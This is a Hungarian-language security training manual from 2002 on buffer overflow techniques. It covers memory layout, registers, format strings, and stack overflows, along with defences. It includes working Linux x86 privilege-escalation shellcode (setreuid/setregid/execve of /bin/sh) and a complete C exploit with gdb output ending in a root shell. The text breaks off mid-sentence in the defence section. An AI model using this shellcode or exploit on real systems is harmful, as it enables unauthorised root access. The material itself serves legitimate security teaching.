technikák SaveAs Oktatási Anyag overflow technikák Készült: 2002 március 1. A dokumentum a fedőlappal együtt 40 számozott oldalt tartalmaz.
1. TARTALOMJEGYZÉK OKTATÁSI ANYAG 1 1. TARTALOMJEGYZÉK 2 2. BEVEZETŐ 4 2.1. Célkitűzés 4 2.2. Adatbiztonságról általában 4 2.3. Az overflow technológiák osztályozása 5 2.4. Történelmi áttekintés 6 3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL 7 3.1. Az etikátlan felhasználás 7 3.2. Az etikus felhasználás 8 4. ALAPOK 9 4.1. Memóriakezelés 9 4.1.1. Stack 10 4.1.2. Heap 11 4.2. Regiszterek 11 4.3. Processzek (feladatok) felépítése 12 4.4. Processzek (feladatok) futása 12 4.5. Format stringek 13 5. SHELL KÓDOK 14 5.1. 14 5.1.1. 14 6. OVERFLOW TÍPUSOK 17 6.1. Stack Overflow 17 6.1.1. Frame Pointer Concept 17 6.1.2. Példa program 17 6.1.3. Védekezés 21 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 2. oldal, összesen: 40
6.2. Heap Overflow 22 6.2.1. A Heap felülírásának módja 22 6.2.2. Példa program 23 6.2.3. A hiba kihasználása 24 6.2.4. Védekezés 27 6.3..dtors Overflow 27 6.3.1. A.dtors felülírása 27 6.3.2. Példa program 29 6.3.3. A hiba kihasználása 29 6.3.4. Védekezés 31 6.4. Format String overflow 32 6.4.1. Példa program 32 6.4.2. A hiba kihasználása 32 6.4.3. Védekezés 36 6.5. Egyéb lehetőségek 37 6.5.1. Felülírható memóriaterületek 37 6.5.2. Védekezés 38 7. FELHASZNÁLT IRODALOM 39 8. EGYÉB 40 8.1. Jelen dokumentum közlése 40 8.1.1. Az információk minőségéről 40 8.2. CopyRight 40 8.2.1. Kizárólagos jogok 40 Hasznosítás és többszörözés 40 Nyilvánossághoz való közvetítés és idézés 40 Oktatás 40 Minden más esetben 40 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 3. oldal, összesen: 40
2. BEVEZETŐ 2.1. Célkitűzés Jelen tanulmány célja, hogy a biztonságtechnikai fejlesztésekkel, kutatással, megvalósítással foglalkozó szakembereknek bemutasson egy olyan technológiát, technológiai hátteret, melynek megértésével szakmai feladataikat jobban elláthassák, valamint a potenciális veszélyforrásokat hatékonyabban, gyorsabban felismerjék. A dokumentum feltételez minimális rendszerismeretet, C és Assembly programozási tudást, ugyanakkor a technológia megértéséhez nem elengedhetetlenül szükségesek a fentiek. A példaprogramok Linux operációs rendszeren készültek. A dokumentumnak nem célja, hogy teljes és átfogó ismereteket nyújtson az Overflow típusú hibák kihasználásához, valamint ezt a veszélyes technológiát megtanítsa, de célja, hogy megismertesse az érdeklődőkkel minden esetben egy - kiragadott, egyszerű, azonban a valóságban ritkán, vagy egyáltalán nem előforduló - példát alapul véve. 2.2. Adatbiztonságról általában Napjaink egyik fenyegető kihívása, hogy az adatainkat, szolgáltatásainkat a lehető legnagyobb biztonságba tudjuk adatvédelmi és rendszerbiztonsági üzemeltetési oldalról egyaránt. Ez nem csak erkölcsi fenyegetettséget, de egyre inkább jól megfogalmazható üzleti érdeket is tartalmaz. Fontos, hogy futtatott alkalmazásaink nem csak funkcionalitásukban, de biztonsági szolgáltatásaikban is betartsák az elvárható maximumot és megfeleljenek a nemzetközi standardoknak. A biztonsági kutatások publikált eredményeinek köszönhetően egyre szűkülnek a fehér foltok, mégsem mondhatjuk, hogy az alkalmazások, a futtató környezetek hibátlanok. Gondoljunk bele! Pár évvel ezelőtt teljesen biztonságos módszernek számított a telnet protokollon keresztüli távoli menedzsment, míg valaki rá nem mutatott, hogy a továbbított adatok a jelszavakkal együtt lehallgathatóak (sniffelhetőek). Kiderültek olyan hibaforrások, melyekkel régen, az eredeti koncepcióban nem is kellett foglalkozni, az alkalmazott környezetben elő sem fordulhattak. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 4. oldal, összesen: 40
Helyezzük most a hangsúlyt a programozói hibák kihasználására! A biztonságos fejlesztő eszközök, biztonságos (minősített) programozáshoz szükséges standardok rendelkezésre állnak. Komoly hozzáférési modelleket is kidolgoztak az adatok védelme érdekében. Nem garantálható ugyanakkor, hogy ezek teljes betartása esetén sem maradnak a programsorok között olyan elemek, amelyek megfelelő paraméterezéssel a programot illegális működésre bírják. A programok (processzek, folyamatok) működése, felépítése történelmi, úgy is mondhatnánk architektúrális örökség. Nem csak az alkalmazásoknak, hanem a futtató környezetnek is együtt kell élni vele. Gondoljunk csak az Intel processzorok néhai f00f 1 hibájára. Egy-egy ilyen rejtett, de kihasználható hibát nem csak az alacsony rétegen futó mikro kódok, de az alkalmazások is tartalmazhatnak, és sok esetben egy rosszul felépített logikai csapda, rosszul paraméterezett utasítás is lehet egy kihasználható hiba forrása. 2.3. Az overflow technológiák osztályozása A legtipikusabb programozói hiba által indukált kihasználható támadási felület az overflow lehetősége. Ezeknek a hibáknak a gyökere minden esetben a nem megfelelően védett vagy mozgatott memória területekben keresendő. Maga az overflow szó is felülírást, felülcsordulást jelent. A technológia nem mai keltezésű, csak a vállfajai lehetnek újak. Általánosságban elmondhatjuk, hogy ezek kihasználhatósága nem minden esetben adott. Egy overflow típusú hibáról csak akkor mondhatjuk el, hogy kihasználható és a kihasználásának van is értelme - ha a következő kritériumok is teljesülnek: Az alkalmazás egy belső változója felett részleges, vagy teljes vezérlést lehet szerezni és ennek segítségével a deklarált jogokat növelni. Az alkalmazást illegális művelet végrehajtására lehet bírni. Az alkalmazás olyan jogokkal rendelkezik futásidőben, amelynek megszerzésével a rendszer kompromittálható. Az alkalmazás feletti kontroll megszerzésével dedikált jogosultságok növelhetőek. Az alkalmazás segítségével meghatározható műveletsor indukálható a jövőben. 1 Az intel processzorok tartalmaztak egy f00f bug néven elhíresült hibát. A hiba lényege az volt, hogy a processzor az F0 0F C7 C8 utasítás-szekvencia dekódolásakor a LOCK CMPXCHG8B EAX műveletsort kapta, amelyből a CMPXCHG8B utasítás 64 bites összehasonlítása az EDX:EAX tartalmának és egy memóriaterületnek. Mivel létezik olyan EDX:EAX tartalom, amely nem a memória egy részére mutat, így a processzor illegális utasítást generál. Ugyanakkor mivel az utasítás LOCK előtaggal rendelkezik, a processzor mikro kódja feloldhatatlan holtpontba ütközik, nem tud tovább funkcionálni. Bővebben: http://x86.ddj.com/errata/dec97/f00fbug.htm SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 5. oldal, összesen: 40
Megállapíthatjuk, hogy egy hiba kihasználhatósága nagyban függ a hiba és a hibát tartalmazó folyamat környezetétől. Nem mondhatjuk ugyanakkor, hogy egy hiba megléte, de a környezet hiányossága mellett a hiba nem biztonsági rés. A folyamatos kutatások eredményei alátámasztják azt a tényt, hogy a hibák jelen tudás szerinti kihasználhatatlansága nem nyújthat garanciát mindörökké. 2.4. Történelmi áttekintés Az első overflow típusú hiba felfedezése 1980 környékére datálódik, a szakirodalom ettől az évtől ismeri a Stack Overflow fogalmát. A veszély realizálódása azonban 1995-ig váratott magára. Az akkoriban sokaknak újnak számító technológia végigsöpört a világ biztonsági laborjain. A legtöbbet hivatkozott publikációt 1996-ban Aleph One publikálta 2 Smashing The Stack For Fun and Profit 3 címen, majd ezt követték 1997-ben How to Write Buffer Overflows 4 címen Murge, és Stack Smashing Vulnerabilities in the UNIX Operating System 5 címen Nathan P. Smith, majd 1998-ban The Tao of Windows Buffer Overflows 6 címen DilDog publikációi. Ezek a tanulmányok mind a Stack Overflow hibákról értekeztek. A következő áttörést 1998 környékén a Heap Overflow típusú hibák jelentették. Az első tanulmányok egyikét a w00w00 Security Team publikálta 1999-ben w00w00 on Heap Overflows 7 címen. Ez a technológia kicsit bonyolultabb volt, mint a Buffer Overflow, hiszen a különböző memóriacímek futásidőben kerültek meghatározásra, így sok esetben jelentősen megnehezítve a kihasználást, és megkönnyítve a felderítést. 1999 végén aztán egy ELF szerkezeti hibát kihasználva felmerült a.dtors típusú overflow lehetősége, amelyről Juan M. Bello Rivas adott ki 2000 elején egy tanulmányt Overwriting the.dtors section 8 címen. A következő áttörést a 2000 végén felfedezett Format String Overflow technika jelentette, amely ismét rengeteg fejtörést okozott a fejlesztőknek. A témában a TESO Security Team 2001 elején közölt egy publikációt Exploiting Format String Vulnerabilities 9 címen. 2 Az Aleph One által kiadott tanulmány akkora sikernek örvendett, hogy nagyon sok publikált exploit kódban a mai napig az általa írt Shell kód található. 3 http://www.cse.ogi.edu/disc/projects/immunix/stackguard/profit.html 4 http://www.l0pht.com/advisories/bufero.html 5 http://destroy.net/~nate/machines/security/nate-buffer.ps 6 http://www.cultdeadcow.com/cdc_files/cdc-351/ 7 http://www.w00w00.org/files/articles/heaptut.txt 8 http://julianor.tripod.com/dtors.txt 9 http://julianor.tripod.com/teso-fs1-1.pdf SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 6. oldal, összesen: 40
3. OVERFLOW ETIKUSAN ÉS ETIKÁTLANUL Már az eddigiekből is kiderül, az overflow technológia használata kétélű fegyver. Használata, kihasználása csak azon múlik, aki alkalmazza. A következőkben látni fogjuk, hogy a kutatás mellett mennyire fontos szerepe van a védekezésben, és a bizonyítási eljárásokban éppúgy, mint a kód-, rendszer átvizsgálások során, és mekkora veszélyt jelenthetnek egy nem kontrollált támadás során. 3.1. Az etikátlan felhasználás A digitális társadalom fejlődésével mind fokozottabb veszélynek vannak kitéve azok az alkalmazások, szolgáltatások, amelyeknek kompromittálódása erkölcsi, anyagi kárt jelenteke mind az üzemeltetőknek, mind a felhasználóknak. A biztonsági hiányosságokat kihasználó felhasználó, rosszindulatú támadó sok esetben alkalmazza az overflow technológiák egyikét. Egy rosszul, vagy csak hiányosan védett rendszerben végtelen károkat képes okozni egy ilyen hiányosság. Könnyű belátni, hogy egy teljesen digitális társadalomban ahol a személyes információktól elkezdve a szociális hálót működtető infrastruktúrák vezérlése, számlainformációk, sőt, gazdasági döntéseket elősegítő adatok is digitálisan vannak tárolva mekkora gondot okozhat ezen adatoknak a sérülése. De az etikátlan felhasználás nem csak adatok sérülését jelenti. Az adatlopás, adatmanipulálás, jogosulatlan hozzáférés napjaink problémája is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 7. oldal, összesen: 40
3.2. Az etikus felhasználás A biztonsági fejlesztések, kutatások, auditok fontos eleme a tesztelés, és a bizonyítás. Egy biztonsági átvizsgálásnál elengedhetetlenül fontos, hogy felismerjük, és analizáljuk az esetleges hibákat, a hibák kihasználásának lehetőségeit. A kijelentéseinket alá is kell támasztani. A kód audit vagy egy penetration test során talált overflow típusú hibának a kihasználására írt minta alkalmazást hívjuk proof-of-concept kódnak. Ez a kód szolgál arra, hogy bebizonyítsuk a hiba létét, előremutat a hiba kihasználhatósági területeire, de nem tartalmaz olyan részt, amellyel kárt lehet okozni. Sok esetben a publikált proof-of-concept 10 kódok hibásak annak elkerülésére, hogy a kód illetéktelen kézbe kerülése sem jelentsen veszélyt az információs társadalomra. Ezek a kódok szolgálnak az átvizsgálási jegyzőkönyvek bizonyítékául. 10 Népszerű biztonsági réseket publikáló lista a Bugtraq néven elhíresült a Securityfocus.com által fenntartott levelezőlista és a szinten a Securityfocus.com által fenntartott SecurityFocus biztonsági portál (http://www.securityfocus.com). Az itt előforduló publikációk olykor heves vitákat váltanak ki a közösségen belül. Ezek a viták, és a publikációk veszélyessége vezettek olyan dekrétumok bevezetéséhez, mint a Full Disclosure és a Non Disclosure. A Full Disclosure (Teljes közlés) irányzat támogatói a hibák publikálása mellett, míg a Non Disclosure (Hallgatás) irányzat támogatói a hibák titokban tartása mellett foglalnak állást többször egy irányzaton belül is különböző okokból. A Full Disclosure mellett foglalt állást például a SecurityFocus.com (http://online.securityfocus.com/news/238). A Non Disclosure mellett foglalt állást például a Microsoft (http://online.securityfocus.com/news/277) sőt, egy alternatív hacker csoport is (http://anti.security.is). Érdekes látni a választás okai közötti különbséget. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 8. oldal, összesen: 40
4. ALAPOK 4.1. Memóriakezelés A folyamatok futásuk során kezelt, vagy futás közben generálódott adataik kezelésére memóriát használnak. A memória kezelése többféle módon valósulhat meg. A klasszikus memóriakezelési x86 modellben három, egymástól jól elkülönülő memóriaterületet definiáltak: Stack szegmens Kód szegmens Adat szegmens Az idők során az adatszegmens több külön részre kellett bontani, így a mai modellekben az adat szegmens vagy nem is jelentkezik (a kód szegmens része), vagy a statikusan definiált adatok tárolására használják. Így különvált például az inicializált és a nem inicializált, de a program futásakor létező adatok tárolására szolgáló memóriaterület és a dinamikusan allokált memóriaterület is (.bss,.data, heap). A memória használata körülbelül így néz ki: Környezeti változók, p aram étere k Stack BSS User Stack Fram e Data Kód Heap SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 9. oldal, összesen: 40
Kód #include <stdio.h> #include <stdlib.h> int a = 1; //.data int b; //.bss char *c; //.bss void function(void) { int d = 1; // stack int e; // stack char *f; // stack c=(char*)malloc(10); // heap } 4.1.1. Stack A Stack vagy verem az a memóriaterület, ahova a rendszer az átmeneti adatokat tárolja. A Stack használata LIFO metódussal történik, azaz, ami utoljára belekerült, az fog először kikerülni. A használatának szemléletére legjobban egy kalapot lehet használni: Folyamat Stack Pointer Stack legfelső eleme A folyamatok ebben a memóriaterületben tárolják a paramétereket, vagy azok címeit, és a különböző ugrási táblázatokat, rendszerváltozókat. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 10. oldal, összesen: 40
4.1.2. Heap A Heap vagy halom memóriaterület a dinamikusan definiált változók tárolására szolgál. Ebben a memóriaterületben foglal helyet magának az összes dinamikus változó futásidőben a malloc() realloc() és egyéb, erre szolgáló utasítások segítségével. 4.2. Regiszterek A folyamatok futásuk során a magas szintű nyelveken definiált változókat lefordítják memóriacímkékre, és azokat különböző regiszterekben tárolják. Ezeket a regisztereket címezhetjük 8, 16 és 32 bites címtartományban is. Azonban nem csak felhasználói regisztereket használ egy rendszer. Regiszterekben tárolja a programok futásával kapcsolatos információkat is. Lássuk, milyen regisztereket használ a rendszer: Regiszter neve Használat Típus [%al:%ah], [%bl:%bh], [%cl:%ch], [%dl:%dh] 8 bites általános célú regiszter Általános %ax, %bx, %cx,%dx 16 bites általános célú regiszter (LOW-END) Általános %eax, %ebx, %ecx, %edx 32 bites áltatlános célú regiszter Általános %ebp 32 biter Frame Pointer Pointer %esp 32 bites Stack Pointer Pointer %bp 16 bites Frame Pointer (LOW-END) Pointer %sp 16 bites Stack Pointer (LOW-END) Pointer %cs Kód szegmens Segment %ds, %es, %fs, %gs Adat szegmens Segment %ss Stack szegmens Segment %cr0, %cr2, %cr3 Processz kontroll Controll %db0, %db1, %db2, %db3, %db6, %db7 Nyomkövető regiszter Debug %tr6, %tr7 Teszt regiszter Test %st - %st(0), %st(1), %st(2), %st(3), %st(4), %st(5), %st(6), %st(7) Lebegőpontos regiszterek Float Stack %eip Aktuális utasításra mutató regiszter PSW SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 11. oldal, összesen: 40
4.3. Processzek (feladatok) felépítése Minden folyamatnak kell, hogy legyen egy szerkezete ahhoz, hogy az operációs rendszer azt értelmezni tudja. Minden folyamat fordításkor megkapja azokat a területeket, amelyek a későbbiekben fontos lehet a működése során. A teljesség igénye nélkül nézzük meg egy ELF bináris fontosabb területeit:.interp.hash.dynsym.dynstr.init.plt.text.fini.rodata.data.got.dynamic.bss.stabstr.comment.note.ctors.dtors Elérési út a program interpreteréhez Szimbólum hash tábla Dinamikusan Linkelt szimbólum tábla A dinamikus linkeléshez szükséges stringek Inicializáló kód Függvény link tábla Futtathatósági instrukciók A folyamat futásának végén lefutó kód Csak olvasható adat Inicializált adatok, amik jelen vannak fordításkor Általános OFFSET tábla Információk a dinamikus fordításhoz Nem inicializált adatok A szimbólum táblához rendelt nevek Megjegyzések (fordító, verzió kontroll) Fájl megjegyzések Konstruktor Destruktor 4.4. Processzek (feladatok) futása Ahogy az már az eddigiekből is kiderült, a folyamatok futása nem szekvenciális. Léteznek olyan utasítások, amelyek a futó kódot elágaztatják, elugratják, vagy megszakítják a futását. Ilyen utasítások a JMP (feltétel nélküli ugrás), JNZ, JNE (feltételes ugrások), vagy a CALL (szubrutin hívás). Az olyan speciális esetekben, mint a CALL szükség van egy visszatérési értékre is, hiszen a szekvenciális futás megszakadt ugyan, de az elágazás után vissza kell térni az eredeti feladathoz. A fenti probléma megoldására alakult ki a Frame Pointer SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 12. oldal, összesen: 40
Concept (FPC) eljárás, melynek során a visszatérési értéket a rendszer elhelyezi a Stack területen, majd a szubrutin visszatértekor onnét felveszi azt. Bővebben lásd a FPC leírásánál. A folyamatok futása során fontos egy regiszter értéke is. A rendszer a futás aktuális helyzetét a %EIP regiszterben tárolja. Ez a regiszter csak olvasható. Fontos megjegyezni azt is, hogy ellentétben a kernel által használt memóriaterületekkel, a felhasználói memória nem folytonos. 4.5. Format stringek A folyamatoknak lehetősége van futásidőben formázott kimenetet biztosítani a felhasználók felé a program belső változóiról. Erre a feladatra használjuk a formázó karaktersorozatokat. A formázó karakterek segítségével lehetőségünk van ugyanakkor speciális konverziók elvégzésére is, mint például numerikus értékek karaktersorozattá alakítása, számrendszerváltás, vagy akár numerikus értékek kaszttolása 11 is. A formázó karakterektől a következő táblázat ad rövid összefoglalót: Kód Formátum %c Karakter %d Előjeles decimális szám %i Előjeles decimális szám %e Tudományos jelölése %f Lebegőpontos szám %o Előjel nélküli oktális %s Karakterlánc %u Előjel nélküli decimális szám %x Előjel nélküli hexadecimális szám %p Mutató megjelenítése (pointer) %n Integer mutató (ált. az eddig kiirt karakterek száma) %% % jel 11 Minden folyamatban a numerikus értékeknek kasztja típusa van. Ezek a típusok meghatározzák, hogy a szám hány biten, és milyen formában van tárolva. A legismertebb kasztok az int (16 bites egész), long int (32 bites egész), float (16 bites lebegő pontos), double (32 bites lebegőpontos), stb. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 13. oldal, összesen: 40
5.1. 5. SHELL KÓDOK 5.1.1. Shell kódnak azt a bináris adatfolyamot nevezzük, amely megfelelő körülmények között futásidőben egy folyamat részévé válik, és megfelelő körülmények között meghívva a támadó számára kívánatos cselekvéssort hajtja végre. Megírása hatalmas arhitekturális és programozói ismereteket igényel, hiszen meg kell felelni a hibás rendszer összes vélt vagy valós, tervezett vagy adott védelmi mechanizmusának. Tipikusnak mondható shell kód feladatok a következőek: Program indítása (pl.: execve() függvény) Könyvtár létrehozása (pl.: mkdir() függvény) Fájl létrehozása (pl.: open(),close() függvények) Fájl módosítása (pl.: open(),write(),read(),close() függvények) Socket kezelés (pl.: bind(),connect(),listen() függvények) A kód futása érdekében a feladatok megoldására minden esetben rendszerhívásokat kell alkalmazni, hiszen a nem rendszerhívások címei nem ismertek. Nem alkalmazhatjuk tehát a call direktívát. Figyelembe kell vennünk azt is, hogy a beinjektált shell kód konverziókon fog keresztülmenni, amik során a kód nem, vagy csak kívánatos módon módosulhat. A kívánatos módosulás kiszámolását más néven reverse engeenering-nek is hívjuk. Vegyünk pár példát! A legegyszerűbb eset, a sima strcpy() másolása az injektált kódnak. Ebben az esetben a függvény \0 termináló karakterig másolja a string tartalmát a cél memóriaterületre. Tehát elkerülendő, hogy a shell kód ilyen karakter szekvenciát tartalmazzon. Előfordulhat olyan speciális eset is, amelynek során csak minden 16 bites szó alsó bájt-ját tudjuk kontrollálni, és a felső bájt fix. Olyan eset is lehetséges, hogy a beinjektált szekvencia átesik egy karakterkonverzión, mely során kisbetűből nagybetű, illetve nagybetűből kisbetű lesz. Ennél a pontnál némely esetben nem csak az eltolódást kell figyelembe venni, hanem bele kell férni a szabvány ASCII karakterek által nyújtott operátor kódokba is. Bonyolultabb esetekben gyakran nyúlnak a fejlesztők a vírusírást SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 14. oldal, összesen: 40
idéző technológiákhoz, amely során egy eljárás segítségével a kívánt formára alakítják a szekvenciát, majd egy dekódoló eljárással bontják ki a kívánt formára. A sokkal rövidebb dekódoló eljárás természetesen megfelel a tesztelt rendszer követelményeinek. Esetünkben nem fogjuk túlbonyolítani a Shell kód követelményeit, és nem is használjuk ki minden lehetőségét. A példákban az egyetlen követelmény; nem tartalmazhat a kód \0 szekvenciát. A tevékenység is elhanyagolható, be kell állítani a jogosultságokat (UID=0; EUID=0; GID=0; EGID=0), és el kell indítani egy programot. Tehát szükségünk lesz egy setreuid(), egy setregid() és egy execve() rendszerhívásra. A kód a paraméterek összeállítására a Stack memóriát használja, így kikerülve a memóriacímek minimális ismeretének szükségességét is. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 15. oldal, összesen: 40
Kód.text.align 4.globl main.type main,@function main: pushl %ebp movl %esp,%ebp // SYS_setreuid->setreuid(uid_t ruid, uid_t euid) // Proto: kernel/sys.c // %eax -> SYS_call_NR // %ebx -> uid_t ruid // %ecx -> uid_t euid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcb,%al int $0x80 // SYS_setregid->setregid(gid_t rgid, gid_t egid) // Proto: kernel/sys.c // %eax -> SYS_call_NR // %ebx -> gid_t rgid // %ecx -> gid_t egid subl %ebx,%ebx subl %ecx,%ecx xorl %eax,%eax movb $0xcc,%al int $0x80 // Proto: arch/i386/kernel/process.c // %eax -> SYS_call_NR // %ebx -> char * filename; // %ecx -> const char *argv[]; // %edx -> const char *envp[]; // const char *envp[] = { NULL }; xorl %edx,%edx pushl %edx // the string 2f 62 69 6e 2f 2f 73 68 // / b i n / / s h //! reverse order! pushl $0x68732f2f // char *filename = "/bin//sh"; pushl $0x6e69622f // const char *argv[] = { "/bin//sh","null" }; movl %esp,%ebx pushl %edx pushl %ebx movl %esp,%ecx leal 0xb(%edx),%eax int $0x80 ret Az itt felvázolt kódból a használathoz egy stringet, karaktersort kell generálnunk. Ezt a legkönnyebbek a kód lefordításával, majd vizsgálatával érhetjük el. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 16. oldal, összesen: 40
6. OVERFLOW TÍPUSOK 6.1. Stack Overflow 6.1.1. Frame Pointer Concept A folyamatok a futásuk során minden funkció hívásakor el kell, hogy tárolják a visszatérési értéket. Ezt az értéket a folyamatok a funkció hívásakor FPC használata esetén a Stack memóriaterületen helyezik el, és visszatéréskor onnét veszik fel. Könnyen belátható tehát, hogy a koncepció alkalmazása mellett a Stack-en található visszatérési érték felülírásával a program futása felett kontroll szerezhető. Ezt a koncepciót az alkalmazások gyakran használják a futásidőben történő címmeghatározásra. A következő példaprogramban bemutatjuk, hogy a main eljárásból meghívott function eljárás felveszi egy popl utasítás segítségével a Stack-ről a visszatérési értéket, betölti azt a %eax regiszterbe, majd visszateszi a normális működés érdekében és visszatér a hívó eljárásba..text.align 4.globl function.type function,@function function: popl %eax pushl %eax leave ret.globl main.type main,@function main: pushl %ebp movl %esp,%ebp subl $8,%esp call function leave ret Kód 6.1.2. Példa program Amint az a fenti példában is látszik, a folyamatok megszakításakor a visszatérési érték a stack memóriaterületen helyezkedik el. Az eddigiekből az is látszik, hogy létezik olyan változónak szóló memóriafoglalás, amely szintén ezen a területen helyezkedik el. A két feltételezésből egyértelműen következik, hogy amennyiben a változó felett nem teljes a kontroll, a futó programot hibás működésre lehet kényszeríteni. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 17. oldal, összesen: 40
Az alábbi példaprogram egy ilyen esetet próbál vázolni. A paraméterként kapott változót öt bájtos memóriaterületre próbáljuk bemásolni úgy, hogy a kapott változó valódi hosszúságát nem ellenőrizzük. #include <stdio.h> Kód int main(int argc, char **argv) { char buf[5]; if(argc!= 2) { printf("usage:\n%s <param>\n",argv[0]); return -1; } } strcpy(buf,argv[1]); printf("got: "); printf(buf); printf("\n"); return 0; A hiba kihasználásának érdekében egy rövid tesztelést kell végezni. A tesztelés során megállapítjuk, hogy mekkora az a méret, amely a programban hibás, de általunk kontrollált működést idézhet elő, illetve meg kell vizsgálnunk, hogy melyik az a memóriacím, ahova be tudjuk illeszteni az általunk futtatandó kódot úgy, hogy valósan le is fusson. Minta $ gdb sample (gdb) b main Breakpoint 1 at 0x8048476: file sample.c, line 6. (gdb) r AAAAA Starting program: sample AAAAA Breakpoint 1, main (argc=2, argv=0xbffff724) at sample.c:6 6 if(argc!= 2) { (gdb) x argv[1] 0xbffff8b7: 0x41414141 (gdb) x buf 0xbffff6b4: 0x4000ab50 [ ] $./sample `perl -e 'print "A"x16';` Got: AAAAAAAAAAAAAAAA segmentation fault (core dumped)./sample `perl -e 'print "A"x16';` $ gdb sample core Program terminated with signal 11, Segmentation fault. Cannot access memory at address 0x400153b4 #0 0x41414141 in?? () (gdb) info registers eip eip 0x41414141 0x41414141 SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 18. oldal, összesen: 40
A vizsgálat során megállapítottuk, hogy a hibát tartalmazó példa programba két memóriaterület is található, ahová beilleszthetjük a futtatandó kódunkat. Ez a két cím a buf és az argv[1] változók címe. Láttuk, hogy a sikeres felülíráshoz egy 16 bájt-os karaktersorozat elég, és így már felülírtuk a visszatérési értéket is, hiszen az EIP regiszter tartalmát fel tudtuk tölteni az A betű ASCII kódjával (0x41). Ezek után egy egyszerű kísérletet végezünk, hogy biztosak legyünk a hiba kihasználásának biztosságában. A kísérlet során 16 bájt-on (4 bájt-os mantisszával) a kívánt EIP értéket ismételjük és megvizsgáljuk az eredményt: Minta $./sample `perl -e 'print "\xc3\xf6\xff\xbf"x4;'` Got: Ăö żăö żăö żăö ż segmentation fault (core dumped)./sample `perl -e 'print "\xc3\xf6\xff\xbf"x4;'` $ gdb sample core Program terminated with signal 11, Segmentation fault. 0x4003d306 in libc_start_main () from /lib/libc.so.6 (gdb) info registers eip eip 0xbffff6c3 0xbffff6c3 (gdb) info registers ebp ebp 0xbffff6c3 0xbffff6c3 Láthatjuk, hogy a kapott paraméterek alapján a program futása megváltozott. A kívánt EIP értéket sikerült beállítani. Nincs tehát más dolgunk, mint hogy a megfelelő címre beillesszük a shell kódunkat. Ehhez a jobb megértés érdekében egy C programot fogunk használni. A programban a következő változókat használjuk a következő jelentéssel: OFFSET - Az eltolási érték. Ennyi bájt szükséges ahhoz, hogy sikeresen felülírjuk az EIP értékét (mindig néggyel osztható szám, mivel a cím négy bájt hosszú), valamint ennyivel kell eltolnunk a rosszul kontrollált változó címéhez viszonyítva shell kód címét. RET - A visszatérési cím, ahová a shell kódot beinjektáltuk LEN - Az a hossz, amelyet használni fogunk a paraméter hosszának. Ebbe a hosszba bele kell férnie az EIP felülírásához szükséges karakternek, valamint a shell kód hosszának is. NOP - A NOP instrukciót jelentő processzorutasítás (Intel processzorokon 0x90). Shell - Bináris kód amelynek vezérlést adva a kívánatos cselekvéssort hajtja végre. SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 19. oldal, összesen: 40
Buffer - A paraméterkén átadott LEN hosszú karaktersorozat, amely tartalmazza OFFSET hosszúságban a RET értékét, a végén a Shell értékét. A kieső részeken NOP értékkel van feltöltve. #include <stdlib.h> #include <stdio.h> #include <unistd.h> Kód #define NOP 0x90 #define RET 0xbffff6c3 #define LEN 1024 #define OFFSET 16 char shell[] = "\x29\xdb" // sub %ebx,%ebx "\x29\xc9" // sub %ecx,%ecx "\x31\xc0" // xor %eax,%eax "\xb0\xcb" // mov $0xcb,%al "\xcd\x80" // int $0x80 "\x29\xdb" // sub %ebx,%ebx "\x29\xc9" // sub %ecx,%ecx "\x31\xc0" // xor %eax,%eax "\xb0\xcc" // mov $0xcc,%al "\xcd\x80" // int $0x80 "\x31\xd2" // xor %edx,%edx "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\x8d\x42\x0b" // lea 0xb(%edx),%eax "\xcd\x80" // int $0x80 "\xc3" // ret ; int main(void) { char buffer[len]; long retaddr = RET; int i; for(i = 0; i < LEN; i++) *(buffer+i) = NOP; for(i = 0; i < OFFSET; i+=4) *(long *)&buffer[i] = retaddr; memcpy(buffer+(len-sizeof(shell))-1,shell,sizeof(shell)); execl("./sample","sample",buffer,null); } return 0; SaveAs Információvédelmi Tanácsadó és Szolgáltató Kft. 20. oldal, összesen: 40
A hibás programot effektív 0 GID jogokkal felruházva, az exploit kódot lefordítva és futtatva a következő eredményt kapjuk: Minta $ ls la sample -rwxrwsr-x 1 root root 11845 Mar 3 22:05 sample $ id uid=1000(user),gid=1000(user) $./exploit sh-2.05# id uid=0(root), gid=0(root) 6.1.3. Védekezés A tanulmány történelmi áttekintés részéből kiderült, hogy ez a támadási forma a legrégebbi ismert overflow típus. Ennek megfelelően rengeteg védekezési módszer került kidolgozásra (és rengeteg módszer a kikerülésükre). A legegyszerűbben alkalmazható védekezés a Frame Pointer Concept elkerülése, amelyet a GCC fomit-frame-pointer paraméterével érhetünk el. Az ilyen típusú védekezésre létezik támadási mód, tehát alkalmazása önmagában nem ad biztonságot. Másik módszer a rendszer Stack memóriaterületének megfelelő védelme, mely szerint letiltjuk a Stack memóriaterületen való kódfuttatást (StackGuard 12 ). Ennek a védekezési módnak is létezik több megvalósítása, amelyek közül némelyre létezik támadási módszer is. Meg kell jegyezni, hogy ez a megoldás a rendszer teljesítményét körülbelül 25%-kal rontja, mert a rendszerkönyvtárak is használják a Stack területen való kódfuttatást optimalizációs célzattal. Érdekes próbálkozás a napjainkban kidolgozott védekezési módszer, mely szerint a felhasználói memóriák címzését úgy alakítja ki a rendszer, hogy az mindenképpen tartalmazzon \0 karaktert, amely lehetetlenné teszi 